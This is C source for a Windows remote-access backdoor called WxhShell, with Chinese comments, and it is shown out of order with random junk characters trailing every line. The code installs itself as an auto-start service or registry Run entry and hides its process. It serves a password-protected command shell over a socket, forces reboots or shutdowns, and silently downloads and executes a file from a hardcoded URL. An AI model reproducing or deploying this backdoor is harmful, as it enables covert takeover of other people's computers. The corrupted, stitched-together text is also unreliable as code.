    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); urM=l5Sx  
    if(Boot(SHUTDOWN)) 1D@'uApi.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fcDiYJC*  
    else { j A/xe  
    closesocket(wsh); (A@~]N ,U/  
    ExitThread(0); Z+# =]Kw)  
    } ^Bkwbj  
    break; `R\aNgCS}  
    } S(bYN[U  
  // 获取shell RZKdh}B?\  
  case 's': { 2h Wtpus  
    CmdShell(wsh); h?cf)L  
    closesocket(wsh); \J@i:J6x$1  
    ExitThread(0); AC`4n|,zJ;  
    break; Atdr|2  
  } $?voQ&  
  // 退出 ="yN4+0-p  
  case 'x': { QOb+6qy:3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R<"fcsU  
    CloseIt(wsh); `TugtzRU  
    break; V_)G=#6Dy  
    } 2>bTcud>  
  // 离开 CC8M1iW3  
  case 'q': { =1/d>kke  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6.uyY@Yx  
    closesocket(wsh); nDiy[Y-4Wp  
    WSACleanup(); ! };OL Q  
    exit(1); @jXdQY%{  
    break; jY: )W*TXt  
        } uL.)+E  
  } dCbRlW  
  } |Z ), OW  
$ NNd4d*  
  // 提示信息 ;"d>lyL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O7]p `Xi8  
} A"yiXc-N~\  
  } zk#NM"C+  
~ 9 F rlj  
  return; |$hBYw  
} k/U1 :9  
WAd5,RZ?  
// shell模块句柄 huPAWlxT  
int CmdShell(SOCKET sock) aicvu(%EE  
{ gL)l)}#  
STARTUPINFO si; MM+x}g.?  
ZeroMemory(&si,sizeof(si)); 2N)siH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rw j4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tWT ,U[  
PROCESS_INFORMATION ProcessInfo; mgO D J  
char cmdline[]="cmd"; SVJL|S 3k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O %x<  
  return 0; [:vH_(|  
} 4Lg!54P8  
eootH K  
// 自身启动模式 V*}xlxSL  
int StartFromService(void) !]^,!7x,8j  
{ #pe#(xoI  
typedef struct RB,`I#z1f  
{ 6"OwrJB  
  DWORD ExitStatus; \B72 # NR  
  DWORD PebBaseAddress; iZ^tLnc  
  DWORD AffinityMask; n5Coxvy1  
  DWORD BasePriority; c >8I M  
  ULONG UniqueProcessId; ( o(,;  
  ULONG InheritedFromUniqueProcessId; 7? 1[sPM  
}   PROCESS_BASIC_INFORMATION; 1" k_l.\,0  
9A7LDHst7  
PROCNTQSIP NtQueryInformationProcess; *h <_gn  
-VC k k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X-lB1uq^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e1Ne{zg~  
rAv)k&l  
  HANDLE             hProcess; /-{C,+cB  
  PROCESS_BASIC_INFORMATION pbi; FV 0x/)<z  
Bv=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qru iQ/t  
  if(NULL == hInst ) return 0; -2D/RE7|  
GBh$nVn$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lm!/ iseGv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -za+Wa`vH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WLO4P  
ryC7O'j_P  
  if (!NtQueryInformationProcess) return 0; iJ-z&=dOe  
:kQ%Mj>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b{~64/YJ  
  if(!hProcess) return 0; uG\ @e'pr  
\f!j9O9S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 006 qj.  
6bE~m<B\`  
  CloseHandle(hProcess); x>ZnQ6x~m]  
O4+a[82  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P( Gv|Q@  
if(hProcess==NULL) return 0; uQ(C,f[6p  
# $N)  
HMODULE hMod; E"/r*C+T  
char procName[255]; dE_d.[!  
unsigned long cbNeeded; t.s;dlx[@  
*v}3So  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8@)4)+e  
#;+ABV  
  CloseHandle(hProcess); z1AYXW6F  
Qm(KvL5  
if(strstr(procName,"services")) return 1; // 以服务启动 #M)S Ae2  
9%^IMUWA  
  return 0; // 注册表启动 ;YfKG8(0  
} :`Z'vRj  
m9Pzy^g1  
// 主模块 ='[J.  
int StartWxhshell(LPSTR lpCmdLine) \nzaF4+$  
{ tCVaRP8eC+  
  SOCKET wsl; 0etJ, _">  
BOOL val=TRUE; e I^Q!b8n  
  int port=0; aioN)V  
  struct sockaddr_in door;  BH<jnQ  
Dt ~3Qd0  
  if(wscfg.ws_autoins) Install(); rGqT[~{t  
]di^H>,xU  
port=atoi(lpCmdLine); ~d9@m#_T#~  
b}-/~l-:  
if(port<=0) port=wscfg.ws_port; r8wip\[  
vl"{ovoC  
  WSADATA data; ([#4H3uO-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]lgI Q;r  
W3gBLotdg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l&2pUv=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s?9$o Qq1  
  door.sin_family = AF_INET; |<aF)S4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g'pB<?'E'  
  door.sin_port = htons(port); GV"X) tGo  
V,?BVt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aCZ7G % Y  
closesocket(wsl); j@guB:0  
return 1; !RPPwvNk4  
} h!!7LPxt  
Kqn{q4L  
  if(listen(wsl,2) == INVALID_SOCKET) { d%(4s~y  
closesocket(wsl); 9*ek5vPB  
return 1; |PaVb4j  
} tsWzM9Yf  
  Wxhshell(wsl); k@Q>(`  
  WSACleanup(); %"gV>E_u  
y88lkV4a  
return 0; 9x]yu6  
qrLE1b 1$  
} SO#R5Mu2N  
R)Y*<Na  
// 以NT服务方式启动 :9.QhY)D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uJ:SN;  
{ },& =r= B  
DWORD   status = 0; |%tI!RN):  
  DWORD   specificError = 0xfffffff; SmMJ%lgA6  
713)D4y}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ixjhZki<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8jd Ex&K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +wpQ$)\  
  serviceStatus.dwWin32ExitCode     = 0; :dML+R#Ymh  
  serviceStatus.dwServiceSpecificExitCode = 0; ][[\!og  
  serviceStatus.dwCheckPoint       = 0; *B0 7-  
  serviceStatus.dwWaitHint       = 0; +]*hzWbe  
vUD>+*D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?E|be )  
  if (hServiceStatusHandle==0) return; =K`]$Og}8  
){M)0,:  
status = GetLastError(); _c@k>"_{S  
  if (status!=NO_ERROR) :OC(93d)0  
{ J69B1Yi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yu9 8d1  
    serviceStatus.dwCheckPoint       = 0; .8~zgpK  
    serviceStatus.dwWaitHint       = 0; PpWn+''M  
    serviceStatus.dwWin32ExitCode     = status; ,enU`}9V*  
    serviceStatus.dwServiceSpecificExitCode = specificError; =AVr<kP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M?3#XQDvD  
    return; 7eP3pg#  
  } JXNfE,_  
 #-^y9B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ns}"[44C}l  
  serviceStatus.dwCheckPoint       = 0; q*pWx]Y  
  serviceStatus.dwWaitHint       = 0; ><r\ 5`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x4e8;A(y  
} 4)OM58e}  
T0F!0O `  
// 处理NT服务事件,比如:启动、停止 1^R:[L4R`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OLh QS_D  
{  0%OV3`  
switch(fdwControl) vN8Xq+  
{ okSCM#&:[2  
case SERVICE_CONTROL_STOP: a?gziCmS?C  
  serviceStatus.dwWin32ExitCode = 0; jC3)^E@:"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8r-'m%l  
  serviceStatus.dwCheckPoint   = 0; s<`54o ,  
  serviceStatus.dwWaitHint     = 0; nLjc.Z\Bl  
  { TQiDbgFo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {klyVb  
  } +1(L5Do}  
  return; uHu(   
case SERVICE_CONTROL_PAUSE: TxDzGC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g0M9v]c  
  break; QmRE<i  
case SERVICE_CONTROL_CONTINUE: "U6:z M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +u[?8D7Y  
  break; X{-[ E^X  
case SERVICE_CONTROL_INTERROGATE: Vv<Tjr  
  break; D8r=V f  
}; ??g`c=R!V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vt;!FZ  
} D@ R>gqb  
HLp9_Y{X.  
// 标准应用程序主函数 /4_^'RB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  %J?"ZSh  
{ tiHP? N U  
O9Fg_qfuT_  
// 获取操作系统版本 9! 6\8  
OsIsNt=GetOsVer(); ?=^ M(TA;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6d%'>^`(o-  
[T>a}}@  
  // 从命令行安装 |8<P%:*N  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0//B+.#  
 uZA^o  
  // 下载执行文件 }+3IM1VTW{  
if(wscfg.ws_downexe) { )?D w)s5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) & ~*qTojj  
  WinExec(wscfg.ws_filenam,SW_HIDE); cPL]WI0(  
} qL1 d-nH  
cN] ]J  
if(!OsIsNt) { \8HLQly|@  
// 如果时win9x,隐藏进程并且设置为注册表启动 'V-_3WWxU  
HideProc(); * U#@M3g.  
StartWxhshell(lpCmdLine); x O gUX6n  
} {%cm;o[7o  
else 5Z@~d'D  
  if(StartFromService()) o;\c$|TNU  
  // 以服务方式启动 {24Y1ohK  
  StartServiceCtrlDispatcher(DispatchTable); @w]z"UCwV@  
else di,?`  
  // 普通方式启动 Xj+oV  
  StartWxhshell(lpCmdLine); n>-"\cjV  
^+)q@{\8Y  
return 0; $4Ko  
} F>!gwmn~  
Mq [|w2.  
<6L=% \X{*  
1;$8=j2  
=========================================== qZ79IX'y  
F')fi0=  
oY$L  
"2FI3M =  
Z-wvdw]$  
^>H+#@R  
" SF#Rc>v  
~~D =Z#  
#include <stdio.h> u>U4w68  
#include <string.h> Tl2e?El;4  
#include <windows.h> A0hfy|1#L  
#include <winsock2.h> ?5yj</W  
#include <winsvc.h> gY=Ry=w9  
#include <urlmon.h> SFdSA4D"  
nL[ zXl  
#pragma comment (lib, "Ws2_32.lib") }G50?"^u  
#pragma comment (lib, "urlmon.lib") (K>=!&tlp=  
.xIu  
#define MAX_USER   100 // 最大客户端连接数 )rP)-op|A  
#define BUF_SOCK   200 // sock buffer FJj #  
#define KEY_BUFF   255 // 输入 buffer $F,&7{^  
mhXSbo9w-  
#define REBOOT     0   // 重启 ygz6 ~(  
#define SHUTDOWN   1   // 关机 Jfkdiyy"  
n$S`NNO{]  
#define DEF_PORT   5000 // 监听端口 *gxo! F}  
7:>VH>?D  
#define REG_LEN     16   // 注册表键长度 -Ze{d$  
#define SVC_LEN     80   // NT服务名长度 RaNz)]+7`  
O*d4zBT  
// 从dll定义API 5W29oz}-S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ag \d4y6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D#?jddr-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ju= +!nGUa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +#|):aF  
v1E=P7}\{s  
// wxhshell配置信息 <m|\#Jw_V  
struct WSCFG { W18I"lHeh  
  int ws_port;         // 监听端口 ZJ7<!?6  
  char ws_passstr[REG_LEN]; // 口令 xQetAYP`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ggR--`D[  
  char ws_regname[REG_LEN]; // 注册表键名 .{@aQwN  
  char ws_svcname[REG_LEN]; // 服务名 xWa96U[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qn*a#]p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 },=0]tvZG#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O^AF+c\n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cIIt ;q[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [3#A)#kWm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 er[%Nt+99  
V>2mz c  
}; 0B;cQSH!q  
C<?Huw4R0  
// default Wxhshell configuration O!c b-  
struct WSCFG wscfg={DEF_PORT, Lk-%I?  
    "xuhuanlingzhe", clwJ+kku@  
    1, j+>#.22+  
    "Wxhshell", sMikTwR/^  
    "Wxhshell", >nnjL rI  
            "WxhShell Service", c T!L+z g  
    "Wrsky Windows CmdShell Service", fzVU9BU  
    "Please Input Your Password: ", ZPISclSA+  
  1, )E2^G)J$W  
  "http://www.wrsky.com/wxhshell.exe", i{$h]D_fD  
  "Wxhshell.exe" 5"]t{-PD  
    }; >,JA=s  
y+P iH  
// 消息定义模块 -a}d @&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dK45&JHoW^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HcrI3v|6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8] BOq:  
char *msg_ws_ext="\n\rExit."; 1;4 ] HNI  
char *msg_ws_end="\n\rQuit."; #''q :^EQ  
char *msg_ws_boot="\n\rReboot..."; +[DL]e]@U  
char *msg_ws_poff="\n\rShutdown..."; bS9<LQ*  
char *msg_ws_down="\n\rSave to "; _H41qKS{Ul  
<$\En[u0  
char *msg_ws_err="\n\rErr!"; &!kr &g#]  
char *msg_ws_ok="\n\rOK!"; 0uf'6<fR  
*vss  
char ExeFile[MAX_PATH]; mu(EmAoenQ  
int nUser = 0; 2eOde(K+  
HANDLE handles[MAX_USER]; zgdOugmmt_  
int OsIsNt; {Y%X  
Z{|U!tn  
SERVICE_STATUS       serviceStatus; XU}|Ud562  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `Xbk2KD p  
$:YJ<HvG<  
// 函数声明 y'9 bs  
int Install(void); & m'ttUG?  
int Uninstall(void); RtR5ij1  
int DownloadFile(char *sURL, SOCKET wsh); 3xJ_%AD\'  
int Boot(int flag); ~\ 9bh6%R  
void HideProc(void); CS:mO |  
int GetOsVer(void); Nz ,8NM]  
int Wxhshell(SOCKET wsl); 4}~zVT0'~  
void TalkWithClient(void *cs); `W8A *  
int CmdShell(SOCKET sock); qGE?[\t[6  
int StartFromService(void); )7e[o8O_6  
int StartWxhshell(LPSTR lpCmdLine); H nRd  
-'tgr6=|w"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bIP'(B#1K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZjE!? '(ef  
 4I> I  
// 数据结构和表定义 |$r|DX1[  
SERVICE_TABLE_ENTRY DispatchTable[] = ;btH[a iV  
{ z k[%YG&  
{wscfg.ws_svcname, NTServiceMain}, DO!?]"  
{NULL, NULL} 31n5n  
}; S=^a''bg  
SOyE$GoOsx  
// 自我安装 cNW [i"  
int Install(void) Di3<fp#w#  
{ 4No!`O-!&  
  char svExeFile[MAX_PATH]; FZM9aA  
  HKEY key; 5"Ibm D>D  
  strcpy(svExeFile,ExeFile); "G8w}n:y  
8q6b3q:c  
// 如果是win9x系统,修改注册表设为自启动 7kBULeBn|  
if(!OsIsNt) { 0YsC@r47wL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {-sy,EYcw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >qJRpO  
  RegCloseKey(key); !cs +tm3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m,e @bJ-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !!=%ty  
  RegCloseKey(key); ):. +u=  
  return 0; p7"o:YSQ  
    } \(lt [=  
  } lg0iNc!  
} |(e`V  
else { QY<{S&k9  
gJNp]I2R  
// 如果是NT以上系统,安装为系统服务 kq[*q-:"x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d1c_F~h<  
if (schSCManager!=0) W*q[f!@  
{ [TPr  
  SC_HANDLE schService = CreateService (ia(y(=C  
  ( {]\Q UXH  
  schSCManager, '"H'#%RU  
  wscfg.ws_svcname, QD0upYG  
  wscfg.ws_svcdisp, Y&O<A8=8  
  SERVICE_ALL_ACCESS, I9ga8mG4-'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XD5z+/F<"0  
  SERVICE_AUTO_START, "+js7U-  
  SERVICE_ERROR_NORMAL, -f.<s!a  
  svExeFile, Tc6H%itV  
  NULL, K8.=bGyg  
  NULL, V~+{douq  
  NULL, 6g*B=d(j  
  NULL, cH()Ze-B  
  NULL ;r[@;2p*(  
  ); dkuB{C,  
  if (schService!=0) &~+lXNXF  
  { 1.]Py"@:  
  CloseServiceHandle(schService); 3A_7R-sQ  
  CloseServiceHandle(schSCManager); u-zl-?Ne  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2\ /(!n  
  strcat(svExeFile,wscfg.ws_svcname); )#9R()n!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kfo, PrW`A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LI[ w?6B  
  RegCloseKey(key); A*BIudli  
  return 0; I=VPw5"E  
    } k`W.tMo  
  } }LNpr  
  CloseServiceHandle(schSCManager); #msXAy$N3r  
} f i-E_  
} 7E$ e1=  
!2WRxM  
return 1; DWep5$>&K  
} .~0A*a  
(( 0%>HJ{~  
// 自我卸载 xp%,@] p  
int Uninstall(void) %+iJpRK)7  
{ sgDlT=c'  
  HKEY key; )TxAhaz+  
~Dw.3P:-  
if(!OsIsNt) { 5taYm'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pHlw&8(f"  
  RegDeleteValue(key,wscfg.ws_regname); Nhv~f0  
  RegCloseKey(key); 7p&%0'BO1z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H4 }^6><V  
  RegDeleteValue(key,wscfg.ws_regname); Ij hC@5qk  
  RegCloseKey(key); DCv~^  
  return 0; m!s/L,iJJ  
  } $-m`LF@  
} d-g&TSGd  
} F8km8lPQl  
else { X8Px  
Vkdchc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i~}[/^  
if (schSCManager!=0) qG=9zp4y?Y  
{ h Ns<Ae  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mT;1KE{J{  
  if (schService!=0) T_:"~ ]  
  {  KTd,^h  
  if(DeleteService(schService)!=0) { yZbO{PMr  
  CloseServiceHandle(schService); <U=:N~L  
  CloseServiceHandle(schSCManager); bZk7)b;1o  
  return 0; RSG\3(  
  } h >w4{u0  
  CloseServiceHandle(schService); }tT"vCu  
  } QfJ?'*  
  CloseServiceHandle(schSCManager); P ?dE\Po7  
} 0[g8  
} zp>q$e40  
R_ojK&%  
return 1; b>AFhj:  
} KwOn<0P  
dV<|ztv  
// 从指定url下载文件 ;Y#~2eYCz  
int DownloadFile(char *sURL, SOCKET wsh) :e:jILQ[  
{ ~HsPYc8Fz  
  HRESULT hr; "q4c[dna  
char seps[]= "/"; r#wMd9])  
char *token; !']=7It{  
char *file; 5_b`QO  
char myURL[MAX_PATH]; zJS,f5L6)  
char myFILE[MAX_PATH]; E ~xK1x"  
8 ~.|^no  
strcpy(myURL,sURL); Y9ueE+6  
  token=strtok(myURL,seps); LD5n_W  
  while(token!=NULL) QD%~ A0  
  { Pp1HOJYJp0  
    file=token; `<2y [<y  
  token=strtok(NULL,seps); Tm@d;O'E1  
  } VL"!.^'c  
"; tl>Ot  
GetCurrentDirectory(MAX_PATH,myFILE); >bWsUG9  
strcat(myFILE, "\\"); >}h/$bU  
strcat(myFILE, file); MNOT<(  
  send(wsh,myFILE,strlen(myFILE),0); ce&)djC7U  
send(wsh,"...",3,0); 1 ry:Z2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^Humy DD6  
  if(hr==S_OK) P& C,EE$  
return 0; Y[9x\6 _E  
else 7Xm7{`jH  
return 1; .asHFT7]9  
a0OH  
} Asicf{HaX  
:BG/]7>|V  
// 系统电源模块 9VdVom|e  
int Boot(int flag) ?c0OrvM  
{ a02;Zl  
  HANDLE hToken; ?as)vYP  
  TOKEN_PRIVILEGES tkp; v:(_-8:F  
 @*'|8%  
  if(OsIsNt) { HJ]\VP9Zb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JX(JZ/8B^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h=um t<&D  
    tkp.PrivilegeCount = 1; Oz!#);v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,T?8??bZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "40Jxqt  
if(flag==REBOOT) { .P.TqT@)r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _|rrl  
  return 0; 7yxZe4~|#  
} u&1n~t`  
else { EAp6IhW{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :\x53-&hO4  
  return 0; ;LNFPo   
} nk9Kq\2f:  
  } gUzCDB^.:  
  else { qlmz@kTb  
if(flag==REBOOT) { pXPwn(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J6/Mm7R  
  return 0; RRig  
} vU LlAQG  
else { IwhZzw w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S',i  
  return 0; kxp$Nnk  
} {X<mr~  
} 7F.t>$'  
U8kH'OD  
return 1; !tBNA  
} 7 N+;K0  
*`[dC,+`.  
// win9x进程隐藏模块 fg"@qE-;  
void HideProc(void) SC)4u l%  
{ Lc(D2=%  
dHc38zp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~,KAJ7O_  
  if ( hKernel != NULL ) s`M[/i3Nm  
  { 1C(6.7l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3Vjuk7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8v"tOa4D7  
    FreeLibrary(hKernel); _XIls*6AK  
  } T1m'+^?"  
t QkEJ pj  
return; $>1 'pV  
} mz;S*ONlV  
?#idmb}(  
// 获取操作系统版本 Ac!,#Fq  
int GetOsVer(void) )[Bwr bn  
{ rMAH YH9  
  OSVERSIONINFO winfo; >HO{gaRM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3UgusH3  
  GetVersionEx(&winfo); epp ;~(xr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w-\U;&8  
  return 1; 3 G/#OJ  
  else LyO, ]  
  return 0; J"'2zg1&  
} ~(kIr? ^  
YUd*\_  
// 客户端句柄模块 [vb>5EhL!  
int Wxhshell(SOCKET wsl) /*s:ehj  
{ p% ESp&  
  SOCKET wsh; "| w..%Wc  
  struct sockaddr_in client; 7q?u`3l  
  DWORD myID; j J6Yz  
@sv==|h  
  while(nUser<MAX_USER) J8I_tF6  
{ |4//%Ll/  
  int nSize=sizeof(client); g9(zJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4Z>hP]7  
  if(wsh==INVALID_SOCKET) return 1; t] LCe\#  
|j53' >N[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Qx:-,.a  
if(handles[nUser]==0) 50% |9D0?Y  
  closesocket(wsh); !U.Xb6  
else =0 W`tx  
  nUser++; ?n)r1m  
  } rBLkowDP*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `"QUA G  
g{w IdV  
  return 0; (v(!l=3  
} bUbM}  
D ODo !  
// 关闭 socket MVHj?  
void CloseIt(SOCKET wsh) IQ[ ?ej3W  
{ ZK<kn8JJ  
closesocket(wsh); T677d.zaT  
nUser--; un0t zz  
ExitThread(0); }Zu2GU$6  
} (yQ]n91Q,  
E15"AO  
// 客户端请求句柄 %\PnsnJ9Q  
void TalkWithClient(void *cs) 6#VG,'e3  
{ :"? boA#L  
GgkljF@{}  
  SOCKET wsh=(SOCKET)cs; e&Z}struE  
  char pwd[SVC_LEN]; _KiaeVE  
  char cmd[KEY_BUFF]; INSI$tA~  
char chr[1]; -\:#z4Tc  
int i,j; Q# xeu  
H pXMPHd  
  while (nUser < MAX_USER) { A3ad9?LR[R  
FSv')`}  
if(wscfg.ws_passstr) { 7cin?Z1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yZ3/Ia>,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /=Bz[ O  
  //ZeroMemory(pwd,KEY_BUFF); <y5V],-U  
      i=0; X.<_TBos|  
  while(i<SVC_LEN) { b2c% 0C  
cAJKFu X"  
  // 设置超时 L;30& a  
  fd_set FdRead; |qbCmsY5/  
  struct timeval TimeOut; i$[wgvJIV  
  FD_ZERO(&FdRead); Xm`s=5%  
  FD_SET(wsh,&FdRead); 6ae  
  TimeOut.tv_sec=8; ]$(::'pmK  
  TimeOut.tv_usec=0; m)9N9Ii#)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rZ<0ks  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); > kOca  
k7P~*ll$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l!e8=QlJ  
  pwd=chr[0]; l=*^FK]L`  
  if(chr[0]==0xd || chr[0]==0xa) { |sz`w^#  
  pwd=0; kb1{ ;c:  
  break; fVv#|   
  } Lu\]]m  
  i++; /G`&k{SiK  
    } tVQfR*=  
pgz3d{]ua  
  // 如果是非法用户,关闭 socket 1;r^QAK&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VaZ+TE  
} s`F v!  
lM Gz"cym  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J411bIxD+q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hk4f)z  
?cdSZ'49[  
while(1) { ep<Ad  
vai.",b=n6  
  ZeroMemory(cmd,KEY_BUFF); {;^boo q  
Us.yKAHPV  
      // 自动支持客户端 telnet标准   `Yp\.K z  
  j=0; ERQ a,h/  
  while(j<KEY_BUFF) { D4'"GaCv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E (tdL,m'  
  cmd[j]=chr[0]; g(<02t!OT=  
  if(chr[0]==0xa || chr[0]==0xd) { m3XL;1y:a  
  cmd[j]=0; x^_Wfkch]  
  break; kH*l83  
  } V[,/Hw~d%  
  j++; WpC@ nz?  
    } yAtM|:qq  
"lLt=s2>L  
  // 下载文件 zNRoFz.  
  if(strstr(cmd,"http://")) { lqA U5K{wQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K1uN(T.Ju  
  if(DownloadFile(cmd,wsh)) 6,M>'s,N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ==(9P`\  
  else 7|PpAvMF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nS[0g^}  
  } K,tmh1  
